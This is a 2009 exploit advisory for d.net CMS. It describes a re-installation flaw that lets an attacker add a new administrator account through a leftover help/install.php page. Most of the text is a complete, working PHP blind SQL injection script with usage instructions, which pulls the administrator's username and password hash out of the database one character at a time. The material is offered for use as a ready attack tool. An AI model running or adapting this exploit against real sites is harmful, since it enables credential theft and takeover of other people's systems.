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dnetcms-sql.txt

Posted on 13 July 2009

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
-           __           __     _       __                -
+      ____/ /___ ______/ /__  (_)___  / /_____  _____    +
-     / __  / __ `/ ___/ //_/ / / __ / //_/ _ / ___/    -
+    / /_/ / /_/ / /  / ,<   / / /_/ / ,< /  __/ /        +
-    \__,_/\__,_/_/  /_/|_|_/ /\____/_/|_|\___/_/         -
+                        /___/                            +
-                                                         -
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

[+] Arbitrary Re-Installation Vulnerability

There's no check about the elimination of 'help' directory,
then whenever an administrator forget to delete it, we can
re-install the CMS, it means we can add a new administrator
account, without specify database's informations.

http://hostname/dnetCMS/help/install.php



[+] Blind SQL Injection Exploit

<?php

function usage () {
exit (	"
".
"[+] d.net CMS Blind SQL Injection Exploit
".
"[+] Author  : darkjoker
".
"[+] Site    : http://darkjoker.net23.net
".
"[+] Download: https://sourceforge.net/projects/dnet/
".
"[+] Usage   : php xpl.php <hostname> <path>
".
"[+] Ex.     : php xpl.php localhost /dnetCMS/
".
"[+] Greetz  : cristina, puccio (they kept me company when I coded this stuff :D)
".
"
");
}

function hex ($string) {
$i=0;
while ($i<strlen($string))
$hex .= "%".dechex(ord($string[$i++]));
return $hex;
}

function check ($hostname, $path, $character, $position, $field) {
$character = ord($character);
$sp = fsockopen ($hostname, 80);
$query = hex ("'x' OR ASCII(SUBSTRING((SELECT {$field} FROM cms_security_master WHERE id=1),{$position},1))={$character} -- ");
$request = "GET {$path}index.php?page={$query} HTTP/1.1
".
"Host: {$hostname}
".
"Connection: Close

";
fputs ($sp, $request);
while (!feof ($sp))
$reply .= fgets ($sp,1024);
fclose ($sp);
if ((preg_match ("|Location: index.php|", $reply)) || (preg_match ("|<b>Cannot modify</b>:|", $reply)))
return false;
else
return true;
}

function get_field ($hostname, $path, $field) {
echo "[+] ".ucfirst($field)." (hash): ";
$chars = "abcdef0123456789";
for($i=0,$d=1;$d<=32;$i++) {
if (check ($hostname, $path, $chars [$i], $d, $field)) {
echo $chars [$i];
$i = -1;
$d++;
}
}
echo "
";
}

if ($argc != 3)
usage ();
$hostname = $argv [1];
$path = $argv [2];
$fields = array ("username", "password");
foreach ($fields as $field)
get_field ($hostname, $path, $field);

 

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